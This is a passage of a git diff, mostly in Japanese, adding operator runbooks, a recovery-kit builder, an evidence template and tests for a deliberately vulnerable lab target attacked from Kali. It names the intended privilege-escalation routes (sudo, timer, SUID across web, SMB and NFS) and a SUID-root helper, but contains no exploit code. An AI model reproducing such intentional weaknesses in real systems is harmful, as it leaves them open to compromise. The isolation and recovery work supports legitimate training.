+- telemetryは`10.13.37.10:8787`で、Bridge bearer認証後のsanitized APIだけを提供する。
+- `/usr/local/bin/kazekiri-report`は`root:root 4755`、
+  `/usr/local/sbin/open-world-telemetry-status`は`root:root 0750`。
+- event-key directoryは`root:root 0711`、low/root keyはそれぞれ
+  `root:lab-events 0440`と`root:lab-telemetry 0440`。鍵本文は証跡へ出さない。
+- `/var/lib/examserver-open-world/fresh-state.json`は`root`所有`0400`で、session/state fileは
+  まだ存在しない。このmarkerは全config/unit検査後の最終commitとして配置される。
+- target install直後は`/etc/examserver-open-world/session.env`がまだ存在しない。exercise開始時に
+  `root:lab-telemetry 0640`でsession IDとfreshな`TELEMETRY_BRIDGE_TOKEN`をatomic生成する。
+  token本文はbundle、plan、log、証跡へ出さず、運営者管理の安全な経路でKaliの
+  `BRIDGE_TARGET_TOKEN`へ同じ値を渡す。
+
+鍵本文を読まず、実accountでread可否だけを確認します。期待値は`www-data`/`nobody`がlowのみ、
+`lab-telemetry`がlow/root、一般の`daemon` userがどちらも不可です。
+
+```text
+sudo -u www-data test -r /etc/examserver-open-world/event-keys/low.key
+sudo -u www-data test ! -r /etc/examserver-open-world/event-keys/root.key
+sudo -u nobody test -r /etc/examserver-open-world/event-keys/low.key
+sudo -u nobody test ! -r /etc/examserver-open-world/event-keys/root.key
+sudo -u lab-telemetry test -r /etc/examserver-open-world/event-keys/low.key
+sudo -u lab-telemetry test -r /etc/examserver-open-world/event-keys/root.key
+sudo -u daemon test ! -r /etc/examserver-open-world/event-keys/low.key
+sudo -u daemon test ! -r /etc/examserver-open-world/event-keys/root.key
+```
+
+NFSのsystemd構成はDebianの
+[nfs.systemd(7)](https://manpages.debian.org/trixie/nfs-common/nfs.systemd.7.en.html)
+に従い、rpcbindのservice/socketとv4-onlyでは不要なstatd unitをmaskします。標準
+`nfs-server.service`を起動しても111やrandom NSM listenerが現れず、Kaliから見えるNFS portが
+2049だけであることを実機gateにします。
+
+Windowsの1 flagはWindowsをoffline maintenanceで起動した時だけ、bundleの
+`windows-offline/windows-fixture/Users/Public/Documents/KazekiriArchive/WINDOWS.flag`を
+`C:\Users\Public\Documents\KazekiriArchive\WINDOWS.flag`へ手動配置します。演習中のDebianへ
+Windows partitionをmountして配置しません。配置後にも完全復号、hibernation/Fast Startup無効を
+再確認して完全shutdownします。target install後はbundle mediaをunmountして標的から外し、
+内蔵Debianにbundle/repository/private answerのcopyがないことを確認してからgoldenを作ります。
+
+Windows bonusを演習中に読めるよう、platformは`mnt-windows.mount`を用意します。これはprofileの
+`windowsPartuuid`を`/dev/disk/by-partuuid/`で指定し、exercise targetからだけ
+`/mnt/windows`へ`ntfs3`の`ro,nosuid,nodev,noexec`でmountします。boot enableはしません。
+golden前にDebian maintenanceで一度だけ、次を上から順に実行します。
+
+```text
+PROFILE=/etc/open-world-lab/profile.json
+WINDOWS_PARTUUID="$(jq -er '.target.windowsPartuuid' "$PROFILE")"
+WINDOWS_DEVICE="$(readlink -f "/dev/disk/by-partuuid/$WINDOWS_PARTUUID")"
+TARGET_DISK="$(readlink -f "$(jq -er '.target.diskById' "$PROFILE")")"
+WINDOWS_PARENT="/dev/$(lsblk -nro PKNAME "$WINDOWS_DEVICE")"
+test "$WINDOWS_PARENT" = "$TARGET_DISK"
+sudo systemctl start mnt-windows.mount
+findmnt --mountpoint /mnt/windows --output SOURCE,TARGET,FSTYPE,OPTIONS
+sudo test -r /mnt/windows/Users/Public/Documents/KazekiriArchive/WINDOWS.flag
+sudo systemctl stop mnt-windows.mount
+```
+
+表示されたsourceが`WINDOWS_DEVICE`、filesystemが`ntfs3`、optionsに
+`ro,nosuid,nodev,noexec`があり`rw`がないことを二人で確認します。mountがhibernation、暗号化、
+dirty filesystemなどで失敗したら`ntfsfix`、`remove_hiberfile`、`-o rw`で回避せず、Windowsへ
+offline bootして原因を直します。flag本文は画面や証跡へ出しません。
+
+## 7. Recovery kit
+
+target install、event key生成、Windows fixture配置、fresh-state marker確認、`update-grub`まで
+終え、まだ一度もexerciseへ入っていない状態をgoldenとします。ノートを停止して信頼済みLinux
+recovery mediaからbootします。内蔵Debianを通常bootした状態でgolden assetを作りません。
+
+Recovery media上で次を用意します。
+
+- read-only snapshotから送った`assets/debian-root.btrfs`。受信時のsubvolume名は`@`。
+- `EFI/debian`だけを含み、link/device/path traversalを含まない`assets/debian-efi.tar`。
+- offline Windows、ESP、Debian、partition tableを含む`assets/full-disk.img`。
+- `assets/full-disk.img`のlogical byte sizeが対象diskの記録済み`diskSizeBytes`と完全一致すること。
+- `EFI/Microsoft` tree hash。
+- 3 assetそれぞれのSHA-256。
+
+profileへasset hash、recovery media UUID、golden Debian Btrfs UUIDを確定後、block deviceではなく
+空directoryへkitを生成します。
+
+```text
+python build_recovery_kit.py build \
+  --profile ACTUAL_PROFILE.json \
+  --asset-root ACTUAL_ASSET_ROOT \
+  --output EMPTY_KIT_DIRECTORY
+
+python build_recovery_kit.py verify \
+  --root EMPTY_KIT_DIRECTORY
+```
+
+このscriptはUSBをformatせず、boot loaderも書きません。完成directoryは既に検査済み・boot可能な
+recovery mediaへ通常fileとしてcopyし、copy後に同じ`verify`を通します。mediaのkernel command
+lineには`examserver-open-world-recovery=1`を固定し、boot中のroot block topologyが内蔵対象diskを
+含まないことを確認します。USBは演習中に抜いて保管します。
diff --git a/labs/open-world-target/operator/README.md b/labs/open-world-target/operator/README.md
new file mode 100644
index 0000000..6b5b217
--- /dev/null
+++ b/labs/open-world-target/operator/README.md
@@ -0,0 +1,23 @@
+# Operator runbook
+
+運営者は「準備」「演習」「復旧」を同じboot sessionで続けません。root取得後のDebianは信頼せず、
+次回利用前に外部の信頼済み復旧USBから戻します。
+
+読む順序:
+
+1. [PREPARE-TARGET.md](PREPARE-TARGET.md) — dual boot、profile、platform/target bundle、recovery kit
+2. [PACKAGE-BOOTSTRAP.md](PACKAGE-BOOTSTRAP.md) — signed offline mediaからの初回package導入
+3. [DAY-OF.md](DAY-OF.md) — Kali/target preflight、mode遷移、停止条件
+4. [RECOVERY.md](RECOVERY.md) — 通常復旧、EFI検査、full-image fallback
+5. [PHYSICAL-VERIFICATION.md](PHYSICAL-VERIFICATION.md) — 9経路と実機証跡
+
+現時点ではsoftware contractだけが実装済みです。`evidence.example.json`のphysical gateはすべて
+`not-run`であり、対象ノート上のdual boot、exploit、Windows boot、restoreを完了扱いにしません。
+演習中のguide正規入口は`https://exam-server-one.vercel.app/lab`です。
+Kali Bridgeが表示する短期pairing codeで接続します。攻撃対象は
+raw IP `10.13.37.10`、telemetryは`http://10.13.37.10:8787`です。完全オフライン時だけ
+Kali loopbackの`http://127.0.0.1:8080/?local=1`を使い、Debianへguideを導入しません。
+
+install、target install、mode、preflightは対象Debianのlive identityが`ID=debian`、`VERSION_ID=13`、
+`dpkg --print-architecture`が`amd64`、`uname -m`が`x86_64`であるときだけ進めます。recovery USBは
+この対象identityと別の、信頼済み互換Linuxで構いません。
diff --git a/labs/open-world-target/operator/RECOVERY.md b/labs/open-world-target/operator/RECOVERY.md
new file mode 100644
index 0000000..c19f29f
--- /dev/null
+++ b/labs/open-world-target/operator/RECOVERY.md
@@ -0,0 +1,113 @@
+# Trusted recovery
+
+## 原則
+
+- root取得済みDebianからrestoreしない。
+- recovery USBは演習中に外し、書込み可能なまま標的へ接続しない。
+- normal recoveryとfull-disk fallbackを同じ確認文で実行しない。
+- profile、live inventory、指定値、asset内容の全照合を省略しない。
+- Windows/EFIの異常を「Debianだけ直せばよい」と判断しない。
+
+対象Debianの`ID=debian`/`VERSION_ID=13`/`amd64`/`x86_64` gateは、install、target install、mode、
+preflightのためのものです。recovery USB自身は同じDebian releaseである必要はなく、toolと必要な
+filesystem utilityを備えた信頼済みの互換Linuxで構いません。ただし、recovery marker、USB UUID、
+asset hash、target disk identity、boot root topologyの照合は省略できません。
+supported recovery mediaは、互換LinuxそのものをUSBへblock-backed full installし、OS rootとkit asset partitionが
+同じ物理USBを共有する構成です。`overlay`をrootにするlive ISO/Live USBや、内蔵diskからbootして
+kit USBだけをmountする構成はtrusted recoveryとして扱いません。
+
+## Boot後のread-only確認
+
+信頼済みrecovery mediaからbootし、内蔵diskを自動mountしません。boot entryのkernel command
+lineに`examserver-open-world-recovery=1`がなければ中止します。kitを検証します。
+
+```text
+./tool/open-world-platform hash \
+  --kind file \
+  --path KIT-MANIFEST.json
+
+python build_recovery_kit.py verify \
+  --root ACTUAL_RECOVERY_MOUNT
+
+./tool/open-world-platform inventory \
+  --profile ACTUAL_RECOVERY_MOUNT/profile.json \
+  --boot-environment trusted-recovery-media \
+  --recovery-mount ACTUAL_RECOVERY_MOUNT \
+  --output ACTUAL_RECOVERY_INVENTORY.json
+```
+
+disk by-id、serial、WWN、size、3 PARTUUIDがprofileと一致し、Debian、ESP、Windowsがunmountedで
+あることをinventoryに保存します。recovery mediaがremovableでfilesystem UUIDが一致し、その
+backing deviceとboot中のroot filesystem topologyのどちらにも内蔵対象diskが含まれないことを確認します。
+さらに`rootSourceRemovable=true`、`rootSourceHasBlockTopology=true`、
+`rootSharesRecoveryMedia=true`であり、rootとasset mountの`physicalDisks`が同じUSB diskを
+示すことを確認します。1つでも欠ける場合はrestoreへ進みません。
+
+## Normal recovery
+
+Normal recoveryが変更するのはDebian partitionと`EFI/debian`です。partition tableとWindowsを
+書き換えません。最初は`--apply`なしでplanだけを出します。次の`ACTUAL_*`はprofileにある完全値へ
+置換し、短縮しません。
+
+```text
+./tool/open-world-platform recover \
+  --profile ACTUAL_RECOVERY_MOUNT/profile.json \
+  --operation normal \
+  --recovery-mount ACTUAL_RECOVERY_MOUNT \
+  --marker ACTUAL_RECOVERY_MOUNT/RECOVERY-MEDIA.json \
+  --disk-by-id /dev/disk/by-id/ACTUAL_STABLE_ID \
+  --debian-partuuid ACTUAL_DEBIAN_PARTUUID \
+  --esp-partuuid ACTUAL_ESP_PARTUUID \
+  --windows-partuuid ACTUAL_WINDOWS_PARTUUID \
+  --image-sha256 ACTUAL_GOLDEN_STREAM_SHA256 \
+  --efi-sha256 ACTUAL_DEBIAN_EFI_SHA256 \
+  --confirm "RESTORE DEBIAN /dev/disk/by-id/ACTUAL_STABLE_ID" \
+  --inventory ACTUAL_RECOVERY_INVENTORY.json
+```
+
+planは次の7段階でなければ中止します。
+
+1. Debian partitionだけをprofileのgolden Btrfs UUIDで作り直し、`blkid`の読戻しを一致確認する。
+2. hash一致済みstreamから`@`を受信する。
+3. 受信した`@`を`ro=false`へ変更し、その値を読み戻す。
+4. restored `fstab`と`grub.cfg`がDebian PARTUUIDまたは`open-world-lab` labelを使い、
+   kernel root指定でfilesystem UUIDへ依存しないことを確認する。EFI/GRUBの埋込み探索用UUIDは
+   手順1でgolden値そのものを復元する。
+5. `EFI/Microsoft` tree hashを比較する。
+6. `EFI/debian`だけを置換する。
+7. `EFI/Microsoft` tree hashが不変であることを再比較する。
+
+対象とassetを別の運営者が照合後、同じ引数へ`--apply`を加えます。途中でunmountに失敗した場合、
+toolはmountpointを削除せず残します。その状態で再実行せず、mountとlogを保全します。
+
+## Full-disk fallback
+
+次の場合だけfull imageを検討します。
+
+- partition table、Windows、ESPを含めgolden全体へ戻す必要がある。
+- normal recoveryを試す前にWindows/EFI異常が確認された。
+- bare-metal imageのhashと対象disk identityを二人で再確認した。
+- bare-metal imageのlogical byte sizeがprofileの`target.diskSizeBytes`と完全一致する。
+- 現在の3 PARTUUIDをまだ正確に観測できる。
+
+full operationはWindowsを含むdisk全体を上書きします。確認文は
+`RESTORE FULL DISK INCLUDING WINDOWS /dev/disk/by-id/ACTUAL_STABLE_ID`で、normalとは一致しません。
+PARTUUIDを観測できないほどpartition tableが壊れた場合、toolはfail closedします。自動overrideは
+ありません。元backupを保全し、disk復旧担当へ引き継ぎます。
+
+## 復旧後のphysical gate
+
+restore commandの成功だけでは完了しません。
+
+- recovery mediaを抜いてDebianがUEFI bootする。
+- 復元DebianのBtrfs UUIDがprofileのgolden値と一致する。
+- exercise preflightが合格し、外部route/DNS/radioがない。
+- 14 flags、user変更、SSH key、Web改変、log、session stateがgoldenへ戻った。
+- Windowsをoffline bootでき、fixture以外のdataがない。
+- `manage-bde -status C:`でsystem volumeが`Fully Decrypted`/`0.0%`、
+  hibernationが利用不能、`HiberbootEnabled`が`0x0`のまま。
+- Debian exerciseでexact Windows PARTUUIDが`/mnt/windows`へ
+  `ntfs3`の`ro,nosuid,nodev,noexec`だけでmountされ、停止後はunmountedになる。
+- `EFI/Microsoft`と`EFI/debian`の記録がgolden evidenceと一致する。
+
+結果を`evidence.example.json`の実コピーへ記録し、全gateが`passed`になるまで次の参加者へ渡しません。
diff --git a/labs/open-world-target/operator/build_recovery_kit.py b/labs/open-world-target/operator/build_recovery_kit.py
new file mode 100644
index 0000000..a723d47
--- /dev/null
+++ b/labs/open-world-target/operator/build_recovery_kit.py
@@ -0,0 +1,257 @@
+from __future__ import annotations
+
+import argparse
+import hashlib
+import json
+import os
+import shutil
+import sys
+import tempfile
+from pathlib import Path
+from typing import Any
+
+
+PLATFORM_ROOT = Path(__file__).resolve().parents[1] / "platform"
+sys.path.insert(0, str(PLATFORM_ROOT))
+
+from open_world_platform.model import (  # noqa: E402
+    ContractError,
+    canonical_json,
+    load_json,
+    sha256_file,
+    validate_profile,
+)
+
+
+LAUNCHER = """#!/bin/sh
+set -eu
+KIT_ROOT="$(CDPATH= cd -- "$(dirname -- "$0")/.." && pwd)"
+export PYTHONPATH="$KIT_ROOT/tool${PYTHONPATH:+:$PYTHONPATH}"
+export OPEN_WORLD_PLATFORM_MANIFEST="$KIT_ROOT/tool/platform-manifest.json"
+exec /usr/bin/python3 -m open_world_platform.cli "$@"
+"""
+
+
+def _safe_empty_destination(output: Path) -> None:
+    if str(output).startswith("/dev/"):
+        raise ContractError("kit output must be a directory, never a block device")
+    if output.exists():
+        if not output.is_dir() or output.is_symlink() or any(output.iterdir()):
+            raise ContractError("kit output must not exist or must be an empty directory")
+    else:
+        output.parent.mkdir(parents=True, exist_ok=True)
+
+
+def _asset_sources(
+    profile: dict[str, Any], asset_root: Path
+) -> list[tuple[Path, Path, str]]:
+    values: list[tuple[Path, Path, str]] = []
+    for key in ("goldenBtrfsStream", "debianEfiArchive", "bareMetalImage"):
+        entry = profile["recovery"][key]
+        relative = Path(entry["path"])
+        source = (asset_root / relative).resolve(strict=True)
+        try:
+            source.relative_to(asset_root.resolve(strict=True))
+        except ValueError as exc:
+            raise ContractError(f"asset escapes asset root: {relative}") from exc
+        if not source.is_file() or source.is_symlink():
+            raise ContractError(f"asset must be a regular file: {source}")
+        observed = sha256_file(source)
+        if observed != entry["sha256"].lower():
+            raise ContractError(f"asset hash mismatch for {key}")
+        if (
+            key == "bareMetalImage"
+            and source.stat().st_size != profile["target"]["diskSizeBytes"]
+        ):
+            raise ContractError(
+                "bare-metal image logical size does not exactly match "
+                "target.diskSizeBytes"
+            )
+        values.append((source, relative, observed))
+    return values
+
+
+def _write(path: Path, content: bytes, mode: int) -> None:
+    path.parent.mkdir(parents=True, exist_ok=True)
+    path.write_bytes(content)
+    os.chmod(path, mode)
+
+
+def _file_manifest(root: Path) -> list[dict[str, Any]]:
+    files = []
+    for path in sorted(root.rglob("*")):
+        if path.is_symlink():
+            raise ContractError(f"kit source contains a symlink: {path}")
+        if path.is_dir():
+            continue
+        if not path.is_file():
+            raise ContractError(f"kit source contains a special file: {path}")
+        if path.name == "KIT-MANIFEST.json":
+            continue
+        files.append(
+            {
+                "path": path.relative_to(root).as_posix(),
+                "sha256": sha256_file(path),
+                "mode": f"{path.stat().st_mode & 0o777:04o}",
+            }
+        )
+    return files
+
+
+def build_kit(
+    profile_path: Path,
+    asset_root: Path,
+    output: Path,
+) -> dict[str, Any]:
+    profile = load_json(profile_path)
+    validate_profile(profile)
+    _safe_empty_destination(output)
+    assets = _asset_sources(profile, asset_root)
+    platform_manifest = PLATFORM_ROOT / "manifest.json"
+    if not platform_manifest.is_file():
+        raise ContractError("platform manifest is missing")
+
+    with tempfile.TemporaryDirectory(
+        prefix=".open-world-kit-", dir=output.parent
+    ) as temporary_name:
+        temporary = Path(temporary_name)
+        shutil.copy2(profile_path, temporary / "profile.json")
+        (temporary / "tool").mkdir(parents=True, exist_ok=True)
+        shutil.copy2(
+            platform_manifest, temporary / "tool/platform-manifest.json"
+        )
+        for module in sorted((PLATFORM_ROOT / "open_world_platform").glob("*.py")):
+            destination = temporary / "tool/open_world_platform" / module.name
+            destination.parent.mkdir(parents=True, exist_ok=True)
+            shutil.copy2(module, destination)
+        _write(temporary / "tool/open-world-platform", LAUNCHER.encode("utf-8"), 0o755)
+        for source, relative, _ in assets:
+            destination = temporary / relative
+            destination.parent.mkdir(parents=True, exist_ok=True)
+            shutil.copy2(source, destination)
+        marker = {
+            "schemaVersion": 1,
+            "trustedPurpose": "examserver-open-world-recovery",
+            "kitId": profile["recovery"]["kitId"],
+            "mediaUuid": profile["recovery"]["mediaUuid"],
+            "goldenDebianFilesystemUuid": profile["recovery"][
+                "goldenBtrfsStream"
+            ]["filesystemUuid"],
+        }
+        _write(
+            temporary / "RECOVERY-MEDIA.json",
+            canonical_json(marker),
+            0o444,
+        )
+        kit_manifest = {
+            "schemaVersion": 1,
+            "kitId": profile["recovery"]["kitId"],
+            "mediaUuid": profile["recovery"]["mediaUuid"],
+            "goldenDebianFilesystemUuid": profile["recovery"][
+                "goldenBtrfsStream"
+            ]["filesystemUuid"],
+            "files": _file_manifest(temporary),
+        }
+        _write(
+            temporary / "KIT-MANIFEST.json",
+            canonical_json(kit_manifest),
+            0o444,
+        )
+        if output.exists():
+            output.rmdir()
+        temporary.replace(output)
+    return verify_kit(output)
+
+
+def verify_kit(root: Path) -> dict[str, Any]:
+    if not root.is_dir() or root.is_symlink():
+        raise ContractError("kit root must be a real directory")
+    manifest_path = root / "KIT-MANIFEST.json"
+    if not manifest_path.is_file() or manifest_path.is_symlink():
+        raise ContractError("kit manifest must be a regular file")
+    manifest = load_json(manifest_path)
+    if manifest.get("schemaVersion") != 1:
+        raise ContractError("kit manifest schemaVersion must be 1")
+    expected_entries = manifest.get("files")
+    if not isinstance(expected_entries, list) or not expected_entries:
+        raise ContractError("kit manifest has no files")
+    expected_paths = set()
+    for entry in expected_entries:
+        if not isinstance(entry, dict):
+            raise ContractError("invalid kit file entry")
+        relative = Path(str(entry.get("path", "")))
+        if relative.is_absolute() or ".." in relative.parts:
+            raise ContractError("unsafe path in kit manifest")
+        expected_paths.add(relative.as_posix())
+        path = root / relative
+        if not path.is_file() or path.is_symlink():
+            raise ContractError(f"kit file is missing or unsafe: {relative}")
+        if sha256_file(path) != entry.get("sha256"):
+            raise ContractError(f"kit file hash mismatch: {relative}")
+    observed_paths = {
+        path.relative_to(root).as_posix()
+        for path in root.rglob("*")
+        if path.is_file() and path.name != "KIT-MANIFEST.json"
+    }
+    resolved_root = root.resolve(strict=True)
+    for path in root.rglob("*"):
+        if path.is_symlink():
+            raise ContractError(f"kit contains a symlink: {path}")
+        try:
+            path.resolve(strict=True).relative_to(resolved_root)
+        except (OSError, ValueError) as exc:
+            raise ContractError(f"kit path escapes recovery root: {path}") from exc
+        if not (path.is_file() or path.is_dir()):
+            raise ContractError(f"kit contains a special file: {path}")
+    if observed_paths != expected_paths:
+        raise ContractError("kit contains unmanifested or missing files")
+    bundled_profile = load_json(root / "profile.json")
+    validate_profile(bundled_profile)
+    if manifest.get("goldenDebianFilesystemUuid") != bundled_profile[
+        "recovery"
+    ]["goldenBtrfsStream"]["filesystemUuid"]:
+        raise ContractError(
+            "kit golden Debian filesystem UUID does not match bundled profile"
+        )
+    digest = hashlib.sha256(canonical_json(manifest)).hexdigest()
+    return {
+        "ok": True,
+        "kitId": manifest.get("kitId"),
+        "fileCount": len(expected_paths),
+        "kitManifestSha256": digest,
+    }
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = argparse.ArgumentParser(
+        description="Build or verify a non-bootable recovery-kit directory"
+    )
+    subparsers = parser.add_subparsers(dest="command", required=True)
+    build = subparsers.add_parser("build")
+    build.add_argument("--profile", type=Path, required=True)
+    build.add_argument("--asset-root", type=Path, required=True)
+    build.add_argument("--output", type=Path, required=True)
+    verify = subparsers.add_parser("verify")
+    verify.add_argument("--root", type=Path, required=True)
+    args = parser.parse_args(argv)
+    try:
+        result = (
+            build_kit(args.profile, args.asset_root, args.output)
+            if args.command == "build"
+            else verify_kit(args.root)
+        )
+        print(json.dumps(result, ensure_ascii=False, sort_keys=True))
+        return 0
+    except ContractError as exc:
+        print(
+            json.dumps(
+                {"ok": False, "error": str(exc)},
+                ensure_ascii=False,
+                sort_keys=True,
+            )
+        )
+        return 2
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/labs/open-world-target/operator/build_target_bundle.py b/labs/open-world-target/operator/build_target_bundle.py
new file mode 100644
index 0000000..f74f10f
--- /dev/null
+++ b/labs/open-world-target/operator/build_target_bundle.py
@@ -0,0 +1,55 @@
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+from pathlib import Path
+
+
+REPO_ROOT = Path(__file__).resolve().parents[3]
+PLATFORM_ROOT = REPO_ROOT / "labs/open-world-target/platform"
+sys.path.insert(0, str(PLATFORM_ROOT))
+
+from open_world_platform.model import ContractError  # noqa: E402
+from open_world_platform.target_bundle import (  # noqa: E402
+    build_target_bundle,
+    validate_target_bundle,
+)
+
+
+def build_parser() -> argparse.ArgumentParser:
+    parser = argparse.ArgumentParser(
+        description="Build or verify the deterministic open-world target bundle"
+    )
+    subparsers = parser.add_subparsers(dest="command", required=True)
+    build = subparsers.add_parser("build")
+    build.add_argument("--output", type=Path, required=True)
+    build.add_argument("--node", default="node")
+    verify = subparsers.add_parser("verify")
+    verify.add_argument("--bundle", type=Path, required=True)
+    return parser
+
+
+def main(argv: list[str] | None = None) -> int:
+    args = build_parser().parse_args(argv)
+    try:
+        if args.command == "build":
+            result = build_target_bundle(
+                REPO_ROOT,
+                args.output,
+                node_binary=args.node,
+            )
+        else:
+            result = validate_target_bundle(args.bundle)
+        public = {
+            key: value for key, value in result.items() if key != "manifest"
+        }
+        print(json.dumps(public, indent=2, sort_keys=True))
+        return 0
+    except ContractError as exc:
+        print(json.dumps({"ok": False, "error": str(exc)}, sort_keys=True))
+        return 2
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/labs/open-world-target/operator/evidence.example.json b/labs/open-world-target/operator/evidence.example.json
new file mode 100644
index 0000000..7d3e897
--- /dev/null
+++ b/labs/open-world-target/operator/evidence.example.json
@@ -0,0 +1,191 @@
+{
+  "schemaVersion": 1,
+  "targetProfileSha256": null,
+  "targetBundleManifestSha256": null,
+  "recoveryKitManifestSha256": null,
+  "physicalGates": {
+    "debian13Amd64LiveIdentity": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "debianWindowsDualBoot": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "windowsVolumeFullyDecrypted": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "windowsHibernationFastStartupDisabled": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "windowsReadOnlyPartuuidMount": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "exerciseWiredOnlyIsolation": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "dnsmasqDhcpOnlyNoDns": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "targetTelemetryBridgeBearer": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "smbTcp445OnlyNmbdMasked": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "dnsmasqLeaseRuntimePermissions": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "nfsV4RpcbindSocketIsolation": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "nfsWatcherEventDelivery": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "windowsFlagAbsentFromDebianRoot": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "eventKeyInstalledIdentityAccess": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "fileWatchEventDelivery": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "maintenanceDirectLinkDisconnectedUnmanaged": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "systemdNetworkdMaskedDirectIpOwner": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "maintenanceWifiFirmwareAndTethering": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "nineRouteCombinations": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "fourteenFlagsReset": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "normalDebianRecovery": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "goldenDebianBtrfsUuidPreserved": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "microsoftEfiUnchanged": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "offlineWindowsBoot": {
+      "status": "not-run",
+      "evidence": []
+    },
+    "fullDiskFallbackRehearsal": {
+      "status": "not-run",
+      "evidence": []
+    }
+  },
+  "routeRuns": [
+    {
+      "id": "WEB-SUDO",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    },
+    {
+      "id": "WEB-TIMER",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    },
+    {
+      "id": "WEB-SUID",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    },
+    {
+      "id": "SMB-SUDO",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    },
+    {
+      "id": "SMB-TIMER",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    },
+    {
+      "id": "SMB-SUID",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    },
+    {
+      "id": "NFS-SUDO",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    },
+    {
+      "id": "NFS-TIMER",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    },
+    {
+      "id": "NFS-SUID",
+      "status": "not-run",
+      "sessionId": null,
+      "startedAt": null,
+      "finishedAt": null,
+      "evidenceCodes": [],
+      "artifactPaths": []
+    }
+  ]
+}
diff --git a/labs/open-world-target/operator/policy-rc.d b/labs/open-world-target/operator/policy-rc.d
new file mode 100644
index 0000000..1035412
--- /dev/null
+++ b/labs/open-world-target/operator/policy-rc.d
@@ -0,0 +1,3 @@
+#!/bin/sh
+# Temporary offline build guard: package maintainer scripts must not start daemons.
+exit 101
diff --git a/labs/open-world-target/operator/tests/test_operator_contract.py b/labs/open-world-target/operator/tests/test_operator_contract.py
new file mode 100644
index 0000000..400b919
--- /dev/null
+++ b/labs/open-world-target/operator/tests/test_operator_contract.py
@@ -0,0 +1,123 @@
+from __future__ import annotations
+
+import json
+import unittest
+from pathlib import Path
+
+
+OPERATOR_ROOT = Path(__file__).resolve().parents[1]
+PLATFORM_ROOT = OPERATOR_ROOT.parent / "platform"
+
+
+class OperatorContractTests(unittest.TestCase):
+    def test_physical_evidence_starts_not_run_for_network_and_windows(self) -> None:
+        evidence = json.loads(
+            (OPERATOR_ROOT / "evidence.example.json").read_text(
+                encoding="utf-8"
+            )
+        )
+        required = {
+            "dnsmasqDhcpOnlyNoDns",
+            "targetTelemetryBridgeBearer",
+            "windowsVolumeFullyDecrypted",
+            "windowsHibernationFastStartupDisabled",
+            "windowsReadOnlyPartuuidMount",
+            "maintenanceDirectLinkDisconnectedUnmanaged",
+            "systemdNetworkdMaskedDirectIpOwner",
+            "debian13Amd64LiveIdentity",
+            "fileWatchEventDelivery",
+        }
+        self.assertTrue(required.issubset(evidence["physicalGates"]))
+        for gate in required:
+            self.assertEqual(
+                evidence["physicalGates"][gate],
+                {"status": "not-run", "evidence": []},
+            )
+
+    def test_beginner_runbook_has_public_pairing_and_windows_safety_steps(self) -> None:
+        prepare = (OPERATOR_ROOT / "PREPARE-TARGET.md").read_text(
+            encoding="utf-8"
+        )
+        day_of = (OPERATOR_ROOT / "DAY-OF.md").read_text(
+            encoding="utf-8"
+        )
+        for token in (
+            "manage-bde.exe -status C:",
+            "Fully Decrypted",
+            "powercfg.exe /hibernate off",
+            "HiberbootEnabled",
+            "/dev/disk/by-partuuid/$WINDOWS_PARTUUID",
+            "sudo systemctl start mnt-windows.mount",
+            "ro,nosuid,nodev,noexec",
+            "sudo systemctl stop mnt-windows.mount",
+        ):
+            self.assertIn(token, prepare)
+        for token in (
+            "LAB_PUBLIC_ORIGIN",
+            "https://exam-server-one.vercel.app/lab",
+            "http://10.13.37.10:8787",
+            "BRIDGE_TARGET_TOKEN",
+            "pairing code",
+            "http://127.0.0.1:8080/?local=1",
+            "53と8080はTCP/UDPとも閉じている",
+            "専用Ethernet cableを物理的に両端から抜き",
+            "unmanaged-devices",
+        ):
+            self.assertIn(token, day_of)
+        offline_section = day_of.split("完全オフライン演習では", 1)[1]
+        offline_command = offline_section.split("```text", 1)[1].split("```", 1)[0]
+        for token in (
+            "read -rsp 'Target telemetry token: ' BRIDGE_TARGET_TOKEN",
+            "export BRIDGE_TARGET_TOKEN",
+            "node apps/lab-guide/server/index.mjs",
+        ):
+            self.assertIn(token, offline_command)
+        self.assertLess(
